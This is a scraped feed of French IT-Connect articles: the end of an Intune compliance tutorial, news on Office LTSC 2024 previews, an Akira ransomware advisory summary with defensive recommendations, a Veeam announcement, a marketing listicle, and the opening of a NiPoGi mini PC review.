<figure class="wp-block-image size-full"><img decoding="async" width="800" height="473" src="media/ca042d6a.Intune-PC-Windows-non-en-conformite.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-PC-Windows-non-en-conformite.png" alt="Intune - PC Windows non en conformité" class="wp-image-72600" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-PC-Windows-non-en-conformite.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-PC-Windows-non-en-conformite-550x325.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-PC-Windows-non-en-conformite-150x89.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-PC-Windows-non-en-conformite-768x454.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-PC-Windows-non-en-conformite-50x30.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p><strong>Dans le même temps, une notification par e-mail a été envoyée !</strong> Cette notification reprend bien les éléments configurés dans notre modèle de notifications et dans les paramètres de personnalisation (textes, logo, etc.). </p>



<figure class="wp-block-image size-full"><img decoding="async" width="683" height="633" src="media/b84bf4f5.Intune-Exemple-notification-erreur-conformite.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Exemple-notification-erreur-conformite.png" alt="" class="wp-image-72603" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Exemple-notification-erreur-conformite.png 683w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Exemple-notification-erreur-conformite-550x510.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Exemple-notification-erreur-conformite-150x139.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Exemple-notification-erreur-conformite-50x46.png 50w" sizes="(max-width: 683px) 100vw, 683px" /></figure>



<p>Désormais, il va falloir faire le nécessaire pour qu'il soit de nouveau conforme...!</p>



<h2 class="wp-block-heading">VII. Conclusion</h2>



<p>Suite à la lecture de ce tutoriel, vous êtes en mesure de créer votre première stratégie de conformité Intune pour vos appareils Windows. Avant de modifier les paramètres au niveau du tenant, effectuez une première stratégie de conformité afin de la tester sur quelques appareils de votre parc informatique.</p>



<ul>
<li><a href="https://learn.microsoft.com/en-us/mem/intune/protect/device-compliance-get-started?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">Microsoft Learn - Intune - Stratégies de conformité</a></li>
</ul><p>The post <a href="https://www.it-connect.fr/intune-comment-et-pourquoi-configurer-une-strategie-de-conformite-windows/">Intune – Comment (et pourquoi) configurer une stratégie de conformité Windows ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=79850
title: Office LTSC 2024 : Microsoft a publié des versions « preview » pour Windows et macOS !
uri: Office-LTSC-2024-Microsoft-a-publié-des-versions-preview-p
url:
https://www.it-connect.fr/office-ltsc-2024-microsoft-a-publie-des-versions-preview-pour-windows-et-macos/

content:
<p><strong>Si vous souhaitez tester Microsoft Office LTSC 2024, c'est possible ! Microsoft a mis en ligne les premières versions "preview" de la future version perpétuelle de la suite Office, pour Windows et macOS. Faisons le point sur cette annonce !</strong></p>



<h2 class="wp-block-heading">Premières versions preview pour Office LTSC 2024</h2>



<p>En <a href="https://www.it-connect.fr/office-ltsc-2024-microsoft-annonce-une-premiere-version-preview-pour-le-mois-prochain/" target="_blank" rel="noopener" title="">mars 2024</a>, Microsoft avait annoncé que les premières versions "preview" d'Office LTSC 2024 seraient publiée "<em>un mois plus tard</em>", c'est-à-dire en avril 2024. Nous y sommes et Microsoft a respecté son planning : les utilisateurs de Windows et macOS peuvent tester la future version de la suite Office dès maintenant.</p>



<p>Microsoft va continuer à proposer Office sous la forme d'une licence perpétuelle puisque <strong>Office LTSC 2024 va prendre la suite d'Office LTSC 2021</strong>. Cela signifie que cette future version <strong>bénéficiera du support Microsoft pendant 5 ans.</strong> Elle offre<strong> une alternative à la suite Microsoft 365 Apps</strong> accessible par abonnement, notamment pour les utilisateurs de Microsoft 365 (en fonction du type d'abonnement).</p>



<p>Voici les versions "preview" proposées par Microsoft :</p>



<ul>
<li>Microsoft Office LTSC Professional Plus 2024, avec Word, Excel, PowerPoint, Outlook, OneNote et Access</li>



<li>Microsoft Office LTSC Standard pour Mac 2024, avec Word, Excel, PowerPoint, Outlook et OneNote</li>



<li>Microsoft Project Professional 2024</li>



<li>Microsoft Visio Professionnel 2024</li>
</ul>



<p><strong>Vous cherchez Publisher ? </strong>Sachez qu'<strong>il n'est plus inclus à la suite Office</strong>, car il va être abandonné par Microsoft en octobre 2026. De la même façon, <strong>Microsoft Teams est désormais proposé séparément.</strong></p>



<h2 class="wp-block-heading">Les nouveautés d'Office LTSC 2024</h2>



<p>Soyons honnêtes : <strong>Office LTSC 2024 n'aura pas autant de fonctionnalités que la version Microsoft 365 Apps</strong> et elle restera toujours en retard. Par contre, c'est une évolution vis-à-vis d'Office LTSC 2021. Dans <a href="https://techcommunity.microsoft.com/t5/microsoft-365-blog/commercial-preview-of-microsoft-office-ltsc-2024-is-now/ba-p/4102538?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">son article</a>, Microsoft précise : "<em>Office LTSC 2024 comprendra des fonctionnalités des versions précédentes d'Office ainsi qu'un sous-ensemble de nouvelles fonctionnalités déjà disponibles dans Microsoft 365 Apps for Enterprise.</em>"</p>



<p>Office LTSC 2024 sera livré avec certaines améliorations, telles que de <strong>nouvelles options de création de réunions et des améliorations de la recherche dans Outlook</strong>, des dizaines de <strong>nouvelles fonctionnalités d'Excel</strong>, notamment des graphiques et des tableaux dynamiques, ainsi que des performances, une sécurité et une accessibilité améliorées.</p>



<p>Comment télécharger Office LTSC 2024 ?</p>



<p>Selon si vous souhaitez tester Microsoft Office LTSC 2024 sur Windows ou macOS, référez-vous à la bonne page de la documentation. Voici les liens :</p>



<ul>
<li><a href="https://learn.microsoft.com/fr-fr/deployoffice/preview-ltsc2024/install-ltsc-preview?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">Office 2024 LTSC pour Windows</a></li>



<li><a href="https://learn.microsoft.com/fr-fr/deployoffice/preview-ltsc2024/overview-mac-preview?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">Office 2024 LTSC pour Mac</a></li>
</ul><p>The post <a href="https://www.it-connect.fr/office-ltsc-2024-microsoft-a-publie-des-versions-preview-pour-windows-et-macos/">Office LTSC 2024 : Microsoft a publié des versions « preview » pour Windows et macOS !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=79853
title: Grâce à plus de 250 victimes, le gang de ransomware Akira a volé 42 millions de dollars !
uri: Grâce-à-plus-de-250-victimes-le-gang-de-ransomware-Akira-a-volé-42
url:
https://www.it-connect.fr/grace-a-plus-de-250-victimes-le-gang-de-ransomware-akira-a-gagne-42-millions-de-dollars/

content:
<p><strong>Tout roule pour les membres du gang de ransomware Akira puisqu'ils seraient parvenus à voler la jolie somme de 42 millions de dollars grâce à la compromission de l'infrastructure de plus de 250 organisations. Il s'agit de chiffres publiés par plusieurs agences, dont le FBI.</strong></p>



<p>Le FBI, la CISA, le&nbsp;Centre&nbsp;européen de lutte contre la&nbsp;cybercriminalité (<em>European Cybercrime Centre</em>) et le National Cyber Security Centre&nbsp;(NCSC) du Pays-Bas ont travaillé sur l'écriture d'<strong>un rapport complet au sujet de la menace Akira</strong>. Ce <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-109a" target="_blank" rel="noopener nofollow" title="">bulletin d'alerte disponible sur le site de la CISA</a> montre<strong> la progression fulgurante</strong> de ce gang de ransomware apparu pour <strong>la première fois en mars 2023</strong>.</p>



<p>Le gang de ransomware a fait des victimes partout dans le monde, même si <strong>la majorité des organisations ciblées sont situées en Amérique du Nord, en Europe et en Australie.</strong> Au début, Akira s'en prenait principalement aux systèmes Windows, mais assez rapidement, les cybercriminels ont mis au point une variante pour Linux afin de<strong> chiffrer les machines virtuelles sur les serveurs <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/virtualisation/vmware/" target="_blank" rel="noopener" title="VMware" data-wpil-keyword-link="linked">VMware</a> ESXi</strong>.</p>



<p>Ainsi, <strong>au 1er janvier 2024</strong>, le groupe de ransomwares avait<strong> touché plus de 250 organisations </strong>et volé <strong>environ 42 millions de dollars </strong>grâce aux victimes qui ont pris la décision de <strong>payer la rançon demandée</strong>.</p>



<h2 class="wp-block-heading">Le mode opératoire du gang de ransomware Akira</h2>



<p>Le rapport publié sur le site de la CISA fournit des informations intéressantes sur les techniques et méthodes employées par les cybercriminels d'Akira.</p>



<p>L'accès initial est notamment évoqué, et d'après le FBI, <strong>ils ciblent principalement les accès <a class="wpil_keyword_link" href="https://www.it-connect.fr/les-tunnels-vpn-pour-les-debutants/" target="_blank" rel="noopener" title="VPN" data-wpil-keyword-link="linked">VPN</a>, les accès RDP, le<em> spear phishing </em>et l'utilisation de comptes utilisateurs valides qu'ils ont en leur possession.</strong> Deux failles de sécurité, liées aux équipements Cisco, sont citées : CVE-2020-3259 et CVE-2023-20269.</p>



<p>Pour les différentes phases de l'attaque, notamment pour la persistance, la découverte et l'exfiltration des données, le gang de ransomware Akira utilisent différents outils dont certains que vous connaissez et utilisez probablement : <strong>Mimikatz</strong>, <strong>LaZagne</strong>, <strong>SoftPerfect&nbsp;</strong>et <strong>Advanced IP Scanner</strong>. À cela s'ajoutent des outils accessibles facilement et peut-être même déjà présents sur certaines machines : <strong>AnyDesk</strong>, <strong>MobaXterm</strong>, <strong>RustDesk</strong>, <strong>Ngrok</strong>, <strong><a href="https://www.it-connect.fr/rclone-un-outil-gratuit-pour-synchroniser-vos-donnees-dans-le-cloud/" target="_blank" rel="noopener" title="Rclone, un outil gratuit pour synchroniser vos données dans le Cloud">RClone</a></strong>, les <strong>protocoles FTP et SFTP</strong> ou encore le service de stockage de fichiers <strong>Mega</strong>.</p>



<h2 class="wp-block-heading">Les conseils pour se protéger du ransomware Akira</h2>



<p>Ce rapport contient également un ensemble de conseils et recommandations pour se protéger de cette menace.</p>



<p><strong>Voici la liste de ces recommandations :</strong></p>



<ul>
<li>Mise en œuvre d'un <strong>plan de reprise d'activité</strong>.</li>



<li>Effectuer des <strong>sauvegardes déconnectées</strong> (hors ligne) des données.</li>



<li>Effectuer des <strong>sauvegardes chiffrées et immuables</strong>.</li>



<li>Exiger que<strong> tous les comptes soient protégés par des mots de passe conformes aux normes du NIST</strong>, et qui doivent être suffisamment long. "<em>Envisagez de ne pas exiger de changements de mot de passe récurrents, car cela peut affaiblir la sécurité</em>", peut-on lire.</li>



<li>Exiger une <strong>authentification multifactorielle </strong>pour tous les services dans la mesure du possible.</li>



<li>Maintenir <strong>tous les systèmes d'exploitation, les logiciels et les firmwares à jour</strong>.</li>



<li><strong>Segmenter les réseaux</strong> pour empêcher la propagation des ransomwares.</li>



<li><strong>Identifier, détecter et étudier les activités anormales</strong> et les mouvements potentiels du ransomware à l'aide d'un outil de surveillance du réseau.</li>



<li><strong>Filtrer le trafic réseau </strong>en empêchant des sources inconnues ou non fiables d'accéder à des services distants sur des systèmes internes.</li>



<li>Installer, mettre à jour régulièrement et <strong>activer la détection en temps réel des logiciels antivirus</strong> sur tous les hôtes.</li>



<li>Examiner les contrôleurs de domaine, les serveurs, les postes de travail et les annuaires actifs pour<strong> détecter les nouveaux comptes et/ou les comptes non reconnus</strong>.</li>



<li><strong>Auditer les comptes d'utilisateurs disposant de privilèges élevés</strong> et configurer les contrôles d'accès selon le principe du moindre privilège.</li>



<li><strong>Désactiver les ports inutilisés</strong>.</li>



<li>Ajouter<strong> un avertissement aux e-mails dont l'expéditeur est externe</strong> à votre organisation.</li>



<li><strong>Désactiver les hyperliens dans les e-mails reçus.</strong></li>



<li><strong>Mettre en place une politique Time-based Access</strong> (Zero Trust) basée sur la durée pour les comptes avec des privilèges élevés.</li>



<li><strong>Désactiver </strong>les activités et les autorisations relatives à<strong> la ligne de commande et aux scripts</strong>.</li>
</ul>



<p><a href="https://www.bleepingcomputer.com/news/security/fbi-akira-ransomware-raked-in-42-million-from-250-plus-victims/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/grace-a-plus-de-250-victimes-le-gang-de-ransomware-akira-a-gagne-42-millions-de-dollars/">Grâce à plus de 250 victimes, le gang de ransomware Akira a volé 42 millions de dollars !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=79897
title: Veeam ajoute la prise en charge de l’hyperviseur Oracle Linux KVM
uri: Veeam-ajoute-la-prise-en-charge-de-l-hyperviseur-Oracle-Linux-KVM
url: https://www.it-connect.fr/veeam-ajoute-la-prise-en-charge-de-hyperviseur-oracle-linux-kvm/
content:
<p><strong>La solution Veeam Data Platform prend désormais en charge la sauvegarde et la restauration des machines virtuelles exécutées sur l’hyperviseur Linux&nbsp;KVM d’Oracle. Ce type de nouveautés pourrait inciter certains clients attachés à quitter VMware ! Faisons le point sur cette annonce.</strong></p>



<p>Avec la prise en charge de l'hyperviseur <strong>Oracle Linux KVM</strong> et des <strong>environnements managés avec oVirt</strong>, Veeam continue d'étoffer la liste de plateformes de virtualisation et de Cloud prises en charge par sa solution Veeam Data Platform. Parmi les nombreuses plateformes prises en charge, nous avons : VMware vSphere, VMware Cloud Director, VMware Cloud on AWS, VMware Cloud on AWS Outposts, VMware Cloud on Dell Microsoft Hyper-V, Microsoft Azure Stack HCI, Microsoft Azure VMware Solution, Amazon AWS Nutanix&nbsp;AHV, Red&nbsp;Hat Virtualization, Google&nbsp;Cloud, Google Cloud VMware Engine, Oracle Cloud VMware Solution et IBM Cloud, et désormais Oracle Linux KVM.</p>



<p>Même si Veeam n'en parle de pas dans son communiqué de presse, cette nouveauté pourrait être <strong>un signe de la prise en charge imminente d'autres hyperviseurs tels que Proxmox et XCP-ng</strong>, qui sont deux <a href="https://www.it-connect.fr/quelles-sont-les-alternatives-a-vmware-esxi-free/" target="_blank" rel="noopener" title="Quelles sont les alternatives à VMware ESXi Free ?">alternatives à VMware ESXi</a>. En janvier dernier, <a href="https://www.it-connect.fr/veeam-etudie-solution-sauvegarde-des-hyperviseurs-proxmox/" target="_blank" rel="noopener" title="">Veeam avait d'ailleurs laissé entendre</a> que des travaux était en cours pour ajouter la prise en charge de Proxmox.</p>



<p>La volonté de Veeam est d'<strong>offrir de la liberté aux entreprises </strong>afin de prendre en charge <strong>toutes les plateformes et les systèmes qu'ils utilisent</strong>. «<em> Avec la prise en charge d’Oracle Linux Virtualization Manager, nous offrons aux entreprises une liberté de choix sans équivalent sur le marché de la virtualisation en leur permettant notamment de sélectionner et de migrer vers les plateformes qui répondent le mieux à leurs besoins, tout en maintenant une gestion, une sécurité et une protection transparente des données. »</em></p>



<p>Désormais,<strong> les utilisateurs d'Oracle Linux KVM peuvent sauvegarder leur environnement et bénéficier de la restauration complète ou granulaire de leurs machines virtuelles</strong>, ainsi que la gestion sécurisée et conforme du cycle de vie des sauvegardes. L'occasion de rappeler la possibilité de créer des <a class="wpil_keyword_link" href="https://www.it-connect.fr/les-sauvegardes-immuables-pour-les-debutants/" target="_blank" rel="noopener" title="sauvegardes immuables" data-wpil-keyword-link="linked">sauvegardes immuables</a> pour lutter contre certaines menaces, dont les ransomwares.</p>



<p><strong>Que pensez-vous de cette nouveauté ?</strong></p>



<p><a href="https://www.veeam.com/blog/veeam-oracle-linux-kvm-red-hat-virtualization.html" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/veeam-ajoute-la-prise-en-charge-de-hyperviseur-oracle-linux-kvm/">Veeam ajoute la prise en charge de l’hyperviseur Oracle Linux KVM</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=79892
title: Les 7 meilleures stratégies de marketing digital à appliquer en 2024
uri: Les-7-meilleures-stratégies-de-marketing-digital-à-appliquer-en-2024
url: https://www.it-connect.fr/les-7-meilleures-strategies-de-marketing-digital-a-appliquer-en-2024/
content:
<p><strong>Dans un monde où les comportements des consommateurs et les avancées technologiques se transforment à un rythme sans précédent, les stratégies de marketing numérique doivent également évoluer rapidement pour rester pertinentes.</strong></p>



<p>En 2024, l'impératif pour les spécialistes du marketing est de se tenir informés des dernières tendances et d'embrasser des approches novatrices qui leur permettent de communiquer avec leur public cible de la manière la plus efficace possible.</p>



<p>Face à une concurrence toujours plus forte et à des consommateurs de plus en plus avertis, il devient crucial d'adopter des stratégies qui non seulement attirent l'attention mais aussi engagent et fidélisent les clients sur le long terme.</p>



<p>Voici les sept stratégies de marketing numérique primordiales à mettre en œuvre cette année pour assurer une présence en ligne dynamique et impactante.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="533" src="media/9e9f18b5.Salle-de-travail-marketing.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Salle-de-travail-marketing.jpg" alt="" class="wp-image-79893" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Salle-de-travail-marketing.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Salle-de-travail-marketing-550x366.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Salle-de-travail-marketing-150x100.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Salle-de-travail-marketing-768x512.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Salle-de-travail-marketing-50x33.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption"><em>Salle de travail marketing, Unsplash</em></figcaption></figure>



<h2 class="wp-block-heading">1. Création d'un site internet optimisé</h2>



<p>La création d'un site web est essentielle pour toute entreprise cherchant à établir une présence en ligne solide. Un site web bien conçu offre à votre entreprise une vitrine virtuelle où les clients potentiels peuvent en apprendre davantage sur vos produits et services.</p>



<p>Assurez-vous que votre site web est convivial, responsive et optimisé pour les moteurs de recherche afin d'attirer du trafic qualifié et de convertir les visiteurs en clients. L'une des premières étapes pour lancer votre présence en ligne consiste à apprendre <a href="https://fr.wix.com/blog/comment-creer-un-site-internet">comment créer un site internet</a><strong>.</strong></p>



<h2 class="wp-block-heading">2. Marketing d'influence</h2>



<p>Les influenceurs jouent un rôle de plus en plus important dans la promotion des marques et des produits. En collaborant avec des personnes influentes dans leur domaine, les entreprises peuvent toucher un public plus large et gagner en crédibilité.</p>



<p>En 2024, les spécialistes du marketing devraient investir dans des partenariats stratégiques avec des influenceurs qui correspondent à leur marque et à leurs valeurs. Pour en savoir plus sur l'impact croissant du marketing d'influence, consultez cet article instructif de <a href="https://so-bang.fr/comment-choisir-des-influenceurs-7-bonnes-pratiques-pour-reussir-ses-campagnes-dinfluence-marketing/">So Bang</a>.</p>



<h2 class="wp-block-heading">3. Optimisation pour la recherche vocale</h2>



<p>Avec la popularité croissante des assistants vocaux tels que Siri et Alexa, l'optimisation pour la recherche vocale devient essentielle. Les entreprises doivent adapter leur stratégie de référencement pour inclure des mots-clés et des expressions utilisés dans les requêtes vocales.</p>



<p>Créer du contenu qui répond aux questions courantes posées par les utilisateurs de la recherche vocale peut aider à améliorer le classement dans les résultats de recherche. Découvrez comment optimiser votre stratégie de référencement vocal en lisant cet article approfondi de <a href="https://digitad.ca/recherche-vocale-google/">Digitad</a>.</p>



<h2 class="wp-block-heading">4. Expérience utilisateur améliorée</h2>



<p>L'expérience utilisateur (UX) est un facteur déterminant dans la réussite du marketing numérique, où les sites Web et les applications conviviaux et réactifs jouent un rôle crucial en garantissant une interaction positive avec les utilisateurs.</p>



<p>En 2024, les spécialistes du marketing devraient se concentrer sur l'optimisation de l'UX pour offrir une expérience transparente et engageante à leurs clients potentiels, tout en intégrant des éléments de design innovants qui améliorent l'accessibilité et la navigation, renforçant ainsi l'engagement client.</p>



<h2 class="wp-block-heading">5. Contenu vidéo interactif</h2>



<p>Le contenu vidéo continue de dominer le paysage du marketing numérique, mais en 2024, la tendance est au contenu vidéo interactif. Les vidéos interactives permettent aux spectateurs de participer activement en répondant à des questions, en prenant des décisions, et en explorant le contenu de manière immersive.</p>



<p>Cette approche favorise l'engagement et la rétention des spectateurs, transformant le visionnage passif en une expérience dynamique et participative qui renforce la connexion entre la marque et son audience, amplifiant ainsi l'impact des messages véhiculés.</p>



<h2 class="wp-block-heading">6. Marketing sur les réseaux sociaux</h2>



<p>En 2024, l'importance des <a class="wpil_keyword_link" href="https://www.it-connect.fr/actualites/reseaux-sociaux-actualites/" target="_blank" rel="noopener" title="réseaux sociaux" data-wpil-keyword-link="linked">réseaux sociaux</a> dans le domaine du marketing numérique est incontestable, représentant un canal essentiel pour les entreprises visant à augmenter leur visibilité et engagement en ligne.</p>



<p>Pour rester compétitifs, les spécialistes du marketing doivent élaborer des stratégies spécifiques pour chaque plateforme sociale, tenant compte de leurs particularités.</p>



<p>L'utilisation avancée d'outils d'analyse est indispensable pour comprendre les comportements des utilisateurs et mesurer l'efficacité des campagnes, favorisant ainsi l'ajustement des stratégies pour maximiser l'impact et le ROI.</p>



<h2 class="wp-block-heading">7. Intelligence artificielle et automatisation</h2>



<p>L'intelligence artificielle (IA) et l'automatisation révolutionnent la manière dont les spécialistes du marketing interagissent avec leur public.</p>



<p>En exploitant des algorithmes avancés et en déployant des chatbots sophistiqués, les entreprises peuvent automatiser de vastes processus de marketing, assurer un service client disponible 24/7, et personnaliser les interactions avec les clients à une échelle sans précédent.</p>



<p>Cette transformation permet une approche plus efficace et ciblée du marketing, offrant des expériences utilisateur améliorées tout en optimisant les ressources et en maximisant l'engagement des consommateurs.</p>



<h2 class="wp-block-heading"><strong>Conclusion</strong></h2>



<p>En appliquant ces sept stratégies de marketing numérique, les entreprises améliorent leur compétitivité et atteignent leurs objectifs de croissance en 2024.</p>



<p>De l'optimisation web à l'utilisation de l'intelligence artificielle, ces méthodes essentielles favorisent l'atteinte du public cible, l'engagement accru, et une hausse des conversions. L'adaptabilité et l'innovation constante permettent de répondre aux attentes changeantes des consommateurs et de se distinguer.</p>



<p>Ainsi, ces stratégies facilitent la création de liens durables avec les clients, propulsant les entreprises vers le succès dans l'écosystème digital.</p>



<p><em>Écrit par Maxime Masse pour IT-Connect</em></p><p>The post <a href="https://www.it-connect.fr/les-7-meilleures-strategies-de-marketing-digital-a-appliquer-en-2024/">Les 7 meilleures stratégies de marketing digital à appliquer en 2024</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=79249
title: Test NiPoGi CK10 – Un mini PC avec Intel Core i5-12450H, 16 Go de RAM et un SSD NVMe
uri: Test-NiPoGi-CK10-Un-mini-PC-avec-Intel-Core-i5-12450H-16-Go-de-RA
url: https://www.it-connect.fr/test-nipogi-ck10-mini-pc-avis-complet/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans cet article, nous allons évoquer le mini PC NiPoGi CK10 dans sa version avec un processeur Intel Core i5-12450H, 16 Go de RAM et un stockage SSD NVMe de 512 Go ! </strong></p>



<p>Ce test est l'occasion d'évoquer les caractéristiques techniques, le design, l'évolutivité et les performances de ce modèle compact ! Comme souvent, NiPoGi propose plusieurs configurations pour une seule référence. Le modèle CK10 est également disponible avec 32 Go de RAM et 1 To de SSD, à ne pas confondre avec la version présentée dans cet article.</p>



<h2 class="wp-block-heading">II. Caractéristiques du NiPoGi CK10</h2>



<p>Commençons par découvrir les caractéristiques principales de ce modèle :</p>



<ul>
<li>Processeur : Intel Core i5-12450H (jusqu'à 4,4 GHz, 8C/12T)</li>



<li>GPU : Intel UHD Graphics (intégrée au processeur) - Fréquence 1.20 GHz</li>



<li>RAM : 16 Go DDR4 - 3200 MHz</li>



<li>Stockage : 512 Go SSD NVMe (M.2 - PCIe 3.0) + 1 emplacement vide SSD NVMe + 1 emplacement pour disque SATA 2.5 pouces</li>



<li>Connectique en façade : 2 x USB 3.0, 1 x USB-C 3.0, 1 x Jack audio et le bouton Power</li>



<li>Connectique à l'arrière : 2 x USB 3.0, 2 x HDMI 2.0, 1 x RJ45 1 Gbit/s et 1 fente de verrouillage Kensington</li>



<li>Connectique sur le côté gauche : 1 x VGA</li>



<li>Affichage : prise en charge de trois écrans grâce aux deux ports HDMI et au port VGA</li>



<li>WiFi 6, Bluetooth 5.2</li>



<li>Alimentation (sortie) : 19V/3.42A - 64.98W</li>



<li>Poids : 470 grammes</li>



<li>Dimensions (L x W x H) : 13,8 x 12,6 x 5 cm</li>



<li>Système d'exploitation : Windows 11</li>



<li>Prix : 360.00 euros - <strong>Rendez-vous en fin d'article pour notre offre <a class="wpil_keyword_link" href="https://www.it-connect.fr/bons-plans-high-tech/" target="_blank" rel="noopener" title="bon plan" data-wpil-keyword-link="linked">bon plan</a></strong></li>
</ul>



<h2 class="wp-block-heading">III. Package, design et conception</h2>



<p>La boite, entièrement blanche, est sobre, mais elle a le mérite de nous donner des précisions sur la version présente à l'intérieur. L'ordinateur et les accessoires sont correctement emballés et protégés par d'épaisses mousses. Le <a class="wpil_keyword_link" href="https://www.it-connect.fr/actualites/actu-materiel/" target="_blank" rel="noopener" title="matériel" data-wpil-keyword-link="linked">matériel</a> est arrivé en parfait état, c'est ce que nous retiendrons.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/d3a92d05.Test-NiPoGi-CK10-Package-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Package-1.jpg"><img fetchpriority="high" decoding="async" width="800" height="602" data-id="79255" src="media/d3a92d05.Test-NiPoGi-CK10-Package-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Package-1.jpg" alt="" class="wp-image-79255" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Package-1.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Package-1-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Package-1-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Package-1-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Package-1-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/aeedf500.Test-NiPoGi-CK10-Package-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Package-2.jpg"><img decoding="async" width="800" height="602" data-id="79253" src="media/aeedf500.Test-NiPoGi-CK10-Package-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Package-2.jpg" alt="" class="wp-image-79253" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Package-2.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Package-2-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Package-2-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Package-2-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Package-2-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/09f4c02a.Test-NiPoGi-CK10-Package-3.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Package-3.jpg"><img decoding="async" width="800" height="602" data-id="79254" src="media/09f4c02a.Test-NiPoGi-CK10-Package-3.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Package-3.jpg" alt="" class="wp-image-79254" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Package-3.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Package-3-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Package-3-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Package-3-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Package-3-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>
</figure>



<p><strong>Qu'avons-nous à l'intérieur de la boite ? </strong>Le mini PC est accompagné par l'<strong>alimentation externe et son câble</strong>, ainsi qu'un <strong>câble HDMI</strong>, un <strong>support VESA</strong> (et les vis), une <strong>notice d'utilisation</strong> (en français, utile si vous envisagez d'utiliser le support VESA pour fixer le PC à l'arrière d'un écran), et une <strong>rallonge SATA </strong>à utiliser si vous souhaitez ajouter un disque SATA 2.5 pouces.</p>



